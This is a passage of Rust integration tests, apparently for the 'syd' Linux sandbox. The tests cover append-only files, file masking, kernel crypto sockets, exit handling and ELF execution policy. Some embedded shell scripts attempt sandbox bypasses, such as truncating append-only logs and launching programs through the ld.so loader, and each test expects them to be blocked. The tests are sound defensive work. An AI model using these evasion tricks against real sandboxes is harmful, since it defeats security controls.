        .m("allow/exec,read,stat,write+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("sendmsg_scm_rights_one", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmsg_scm_rights_many() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("sendmsg_scm_rights_many", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmmsg() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("sendmmsg", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_sendto() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_sendto", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_sendmsg() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_sendmsg", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_clobber() -> TestResult {
    skip_unless_available!("diff", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
for i in {1..8}; do
    echo $i >> test.raw
    echo $i > test.log
done
diff -u test.raw test.log
:>test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
:>test.log
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_removal() -> TestResult {
    skip_unless_available!("diff", "rm", "sh", "unlink");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Heavy is the root of light. Still is the master of moving.' > test.log
echo 'Heavy is the root of light. Still is the master of moving.' > test.raw
rm test.log
rm -f test.log
unlink test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
unlink test.log
test -e test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_rename() -> TestResult {
    skip_unless_available!("diff", "mv", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Heavy is the root of light. Still is the master of moving.' > test.log
echo 'Heavy is the root of light. Still is the master of moving.' > test.raw
mv test.log test.lol
test -e test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
mv test.log test.lol
test -e test.lol
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_truncate() -> TestResult {
    skip_unless_available!("diff", "sh", "truncate");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Heavy is the root of light. Still is the master of moving.' > test.log
echo 'Heavy is the root of light. Still is the master of moving.' > test.raw
truncate -s0 test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
truncate -s0 test.log
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_ftruncate() -> TestResult {
    skip_unless_available!("diff", "python", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Heavy is the root of light. Still is the master of moving.' > test.log
echo 'Heavy is the root of light. Still is the master of moving.' > test.raw
python <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
diff -u test.raw test.log
python <<'EOF'
import os
fd = os.open("test.log", os.O_RDWR|os.O_TRUNC)
os.ftruncate(fd, 0)
EOF
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
python <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_mask_simple() -> TestResult {
    skip_unless_available!("diff", "readlink", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write:on")
        .m("allow/read,write+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
echo 'Heavy is the root of light. Still is the master of moving.' > tao.orig
echo 'Heavy is the root of light. Still is the master of moving.' > tao.mask
abs=$(readlink -f tao.mask)
test -f "$abs" || exit 1
test -c "/dev/syd/mask+${abs}" || exit 2
test -f "$abs" || exit 3
cat tao.mask || exit 4
echo > tao.mask || exit 5
diff -u tao.orig tao.mask && exit 6
test -c "/dev/syd/mask-${abs}" || exit 7
diff -u tao.orig tao.mask || exit 8
true
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_truncate() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .do_("truncate", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_truncate64() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .do_("truncate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ftruncate() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .do_("ftruncate", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_ftruncate64() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat,write+/***")
        .do_("ftruncate64", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_kcapi_hash_block() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    Ok(())
}

fn test_syd_kcapi_hash_stream() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_hash_stream", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    Ok(())
}

fn test_syd_kcapi_cipher_block() -> TestResult {
    let status = syd()
        .p("off")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    let status = syd()
        .p("off")
        .m("sandbox/net:on")
        .m("trace/allow_safe_kcapi:1")
        .do_("kcapi_cipher_block", ["0"])
        .status()
        .expect("execute syd");
    assert_status_code_matches!(status, 0 | nix::libc::EAFNOSUPPORT);

    Ok(())
}

fn test_syd_exit_wait_default() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(
            r##"
: > test
cat > exec.sh <<'EOF'
#!/bin/bash -ex
sleep 5
echo OK > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_default_unsafe_exec() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec:1")
        .argv(["bash", "-cex"])
        .arg(
            r##"
: > test
cat > exec.sh <<'EOF'
#!/bin/bash -ex
sleep 5
echo OK > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:0")
        .argv(["bash", "-cex"])
        .arg(
            r##"
: > test
cat > exec.sh <<'EOF'
#!/bin/bash -ex
sleep 5
echo OK > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_unsafe_exec() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:0")
        .m("trace/allow_unsafe_exec:1")
        .argv(["bash", "-cex"])
        .arg(
            r##"
: > test
cat > exec.sh <<'EOF'
#!/bin/bash -ex
sleep 5
echo OK > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:0")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -ex
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 OK &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 15 RUN)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file");
    sleep(Duration::from_secs(20));
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_pid_unsafe_exec_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:0")
        .m("trace/allow_unsafe_exec:1")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -ex
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 OK &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 15 RUN)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 0, "Unexpected file metadata: {data:?}");

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file");
    sleep(Duration::from_secs(20));
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:1")
        .argv(["bash", "-cex"])
        .arg(
            r##"
: > test
cat > exec.sh <<'EOF'
#!/bin/bash -ex
sleep 5
echo OK > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 3, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_unsafe_exec() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("trace/exit_wait_all:1")
        .m("trace/allow_unsafe_exec:1")
        .argv(["bash", "-cex"])
        .arg(
            r##"
: > test
cat > exec.sh <<'EOF'
#!/bin/bash -ex
sleep 5
echo OK > test
exit 42
EOF
chmod +x exec.sh
./exec.sh &
disown
true
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 3, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:1")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -ex
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 OK &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 15 RUN)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    //FIXME: This sometimes returns 4 on CI, WTF?
    //let data = metadata(path).expect("Unable to access test file metadata");
    //assert_eq!(data.len(), 3, "Unexpected file metadata: {data:?}");

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file");
    sleep(Duration::from_secs(20));
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_exit_wait_all_unsafe_exec_with_runaway_cmd_exec_process() -> TestResult {
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("trace/exit_wait_all:1")
        .m("trace/allow_unsafe_exec:1")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
: > test
chmod 600 test
cat > exec.sh <<EOF
#!/bin/bash -ex
sleep \\$1
echo \\$2 > $PWD/test
exit 42
EOF
chmod +x exec.sh
./exec.sh 5 OK &
# Careful here, cmd/exec changes CWD to /.
test -c \"$({} $PWD/exec.sh 15 RUN)\"
disown
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let path = Path::new("./test");
    assert!(path.exists());
    //FIXME: This sometimes returns 4 on CI, WTF?
    //let data = metadata(path).expect("Unable to access test file metadata");
    //assert_eq!(data.len(), 3, "Unexpected file metadata: {data:?}");

    // Wait for the runaway process to change the file.
    eprintln!("Waiting for 20 seconds for the runaway process to write to the file");
    sleep(Duration::from_secs(20));
    let data = metadata(path).expect("Unable to access test file metadata");
    assert_eq!(data.len(), 4, "Unexpected file metadata: {data:?}");

    Ok(())
}

fn test_syd_cli_args_override_user_profile() -> TestResult {
    skip_unless_available!("sh");

    let _ = unlink(".user.syd-3");
    let mut file = File::create(".user.syd-3").expect("Failed to create .user.syd-3");
    file.write_all(b"mem/max:4242\npid/max:2525\n")
        .expect("Failed to write to .user.syd-3");

    let mut child = syd()
        .m("pid/max:4242")
        .m("stat")
        .c("true")
        .stderr(Stdio::piped())
        .spawn()
        .expect("execute syd");

    // Read the output from the child process
    let child_stderr = child.stderr.as_mut().expect("child stderr");
    let mut reader = BufReader::new(child_stderr);
    let mut output = String::new();
    if let Err(error) = reader.read_to_string(&mut output) {
        return Err(TestError(format!(
            "Failed to read output of child process: {error}"
        )));
    }
    print!("Child output:\n{output}");

    assert!(output.contains("Pid Max: 4242"));
    //This may fail if the site-wide config file has lock:on.
    //assert!(output.contains("Memory Max: 4242"));

    Ok(())
}

fn test_syd_ifconfig_lo_bare() -> TestResult {
    let status = syd()
        .p("off")
        .do_("ifconfig_lo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_ifconfig_lo_wrap() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/net:1")
        .do_("ifconfig_lo", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_parse_elf_native() -> TestResult {
    skip_unless_available!("cc", "sh", "getconf");

    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(format!(
            r##"
#!/bin/sh
set -ex

bit=$(getconf LONG_BIT)

cat > hello.c <<EOF
int main() {{
    return 0;
}}
EOF

# Step 1: Compile dynamic PIE executable.
cc -o hello-pie -fPIE -pie hello.c || exit 128

# Step 2: Compile dynamic PIE executable with executable stack.
cc -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128

# Step 3: Compile static non-PIE executable.
cc -o hello-static -static hello.c || exit 128

# Step 4: Compile static non-PIE executable with executable stack.
cc -o hello-static-xs -static -zexecstack hello.c || exit 128

# Step 5: Compile dynamic executable without PIE.
cc -o hello-dynamic -no-pie hello.c || exit 128

# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128

# Step 7: Compile static PIE executable.
cc -o hello-static-pie -static-pie hello.c || exit 128

# Step 8: Compile static PIE executable with executable stack.
cc -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128

# Verify ELF file types.
for file in hello-*; do
    OUT=$({syd_elf} "$file")
    echo "$file: $OUT"
    case "$file" in
    hello-pie)
        EXP="exe${{bit}}-dynamic-pie"
        ;;
    hello-pie-xs)
        EXP="exe${{bit}}-dynamic-pie-xs"
        ;;
    hello-static)
        EXP="exe${{bit}}-static"
        ;;
    hello-static-xs)
        EXP="exe${{bit}}-static-xs"
        ;;
    hello-dynamic)
        EXP="exe${{bit}}-dynamic"
        ;;
    hello-dynamic-xs)
        EXP="exe${{bit}}-dynamic-xs"
        ;;
    hello-static-pie)
        EXP="exe${{bit}}-static-pie"
        ;;
    hello-static-pie-xs)
        EXP="exe${{bit}}-static-pie-xs"
        ;;
    esac
    echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done

echo "All ELF file checks passed."
    "##))
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_parse_elf_32bit() -> TestResult {
    skip_unless_bitness!("64");
    skip_unless_available!("cc", "sh", "getconf");

    let syd_elf = &SYD_ELF.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(format!(
            r##"
#!/bin/sh
set -ex

bit=32

cat > hello.c <<EOF
int main() {{
    return 0;
}}
EOF

# Step 1: Compile dynamic PIE executable.
cc -m32 -o hello-pie -fPIE -pie hello.c || exit 128

# Step 2: Compile dynamic PIE executable with executable stack.
cc -m32 -o hello-pie-xs -fPIE -pie -zexecstack hello.c || exit 128

# Step 3: Compile static non-PIE executable.
cc -m32 -o hello-static -static hello.c || exit 128

# Step 4: Compile static non-PIE executable with executable stack.
cc -m32 -o hello-static-xs -static -zexecstack hello.c || exit 128

# Step 5: Compile dynamic executable without PIE.
cc -m32 -o hello-dynamic -no-pie hello.c || exit 128

# Step 6: Compile dynamic executable without PIE and with executable stack.
cc -m32 -o hello-dynamic-xs -no-pie -zexecstack hello.c || exit 128

# Step 7: Compile static PIE executable.
cc -m32 -o hello-static-pie -static-pie hello.c || exit 128

# Step 8: Compile static PIE executable with executable stack.
cc -m32 -o hello-static-pie-xs -static-pie -zexecstack hello.c || exit 128

# Verify ELF file types.
for file in hello-*; do
    OUT=$({syd_elf} "$file")
    echo "$file: $OUT"
    case "$file" in
    hello-pie)
        EXP="exe${{bit}}-dynamic-pie"
        ;;
    hello-pie-xs)
        EXP="exe${{bit}}-dynamic-pie-xs"
        ;;
    hello-static)
        EXP="exe${{bit}}-static"
        ;;
    hello-static-xs)
        EXP="exe${{bit}}-static-xs"
        ;;
    hello-dynamic)
        EXP="exe${{bit}}-dynamic"
        ;;
    hello-dynamic-xs)
        EXP="exe${{bit}}-dynamic-xs"
        ;;
    hello-static-pie)
        EXP="exe${{bit}}-static-pie"
        ;;
    hello-static-pie-xs)
        EXP="exe${{bit}}-static-pie-xs"
        ;;
    esac
    echo "$OUT" | grep -q "$EXP" || {{ echo "Unexpected output for $file: $OUT (expected $EXP)"; exit 1; }}
done

echo "All ELF file checks passed."
    "##))
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_parse_elf_path() -> TestResult {
    skip_unless_available!("sh");

    let syd_elf = &SYD_ELF.to_string();
    let status = Command::new("sh")
        .arg("-c")
        .arg(format!(
            r##"
IFS=:
set -- $PATH
r=0
for path; do
    for file in "$path"/*; do
        if ! {syd_elf} "$file"; then
            test $? -gt 1 && r=1
            echo >&2 "error parsing file: $file"
        fi
    done
done
exit $r
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_deny_elf32() -> TestResult {
    skip_unless_bitness!("64");
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc -m32 exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_elf32:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_elf32:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_elf_dynamic() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_elf_dynamic:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_elf_dynamic:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_elf_static() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -o exit -static
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
./exit || exit 1
test -c /dev/syd/trace/deny_elf_static:1 || exit 2
./exit && exit 3
test -c /dev/syd/trace/deny_elf_static:0 || exit 2
./exit || exit 4
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_deny_script() -> TestResult {
    skip_unless_available!("sh");

    syd::fs::cat("script", "#!/bin/sh\nexit 42")?;
    syd::fs::chmod_x("script")?;

    // Scripts are allowed by default.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Scripts are denied with deny_script:1.
    // syd uses ENOSYS to distinguish from a kernel deny.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("trace/deny_script:1")
        .argv(["./script"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOSYS);

    Ok(())
}

fn test_syd_prevent_ld_linux_exec_break() -> TestResult {
    skip_unless_available!("bash");

    // Shared library execution is denied by default.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
#!/bin/bash
# Careful, ld-linux path differs on glibc and musl.
for f in /lib{64,}/ld*.so.{2,1}; do
    if test -x "${f}"; then
        exec "${f}" /bin/true
        exit 127
    fi
done
echo >&2 "ld.so not found"
exit 127
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // Shared library execution is allowed with allow_unsafe_exec.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_exec:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["bash", "-cx"])
        .arg(
            r##"
# Careful, ld-linux path differs on glibc and musl.
for f in /lib{64,}/ld*.so.{2,1}; do
    if test -x "${f}"; then
        exec "${f}" /bin/true
        exit 127
    fi
done
echo >&2 "ld.so not found"
exit 127
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_enforce_pie_dynamic() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

cc exit.c -no-pie -o exit
test $? -eq 0 || exit 128
chmod +x ./exit || exit 128
# SAFETY: Integration test suite sets unsafe_nopie:1
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 1
./exit && exit 2
test -c /dev/syd/trace/allow_unsafe_nopie:1 || exit 3
./exit
test -c /dev/syd/trace/allow_unsafe_nopie:0 || exit 4
./exit && exit 5
true
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(code == 0 || code == 128, "code:{code} status:{status:?}");
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }
    Ok(())
}

fn test_syd_enforce_pie_static() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .args(["sh", "-cx"])
        .arg(
            r##"
cat > exit.c <<EOF
#include <stdlib.h>
int main() {
    exit(0);
}
EOF

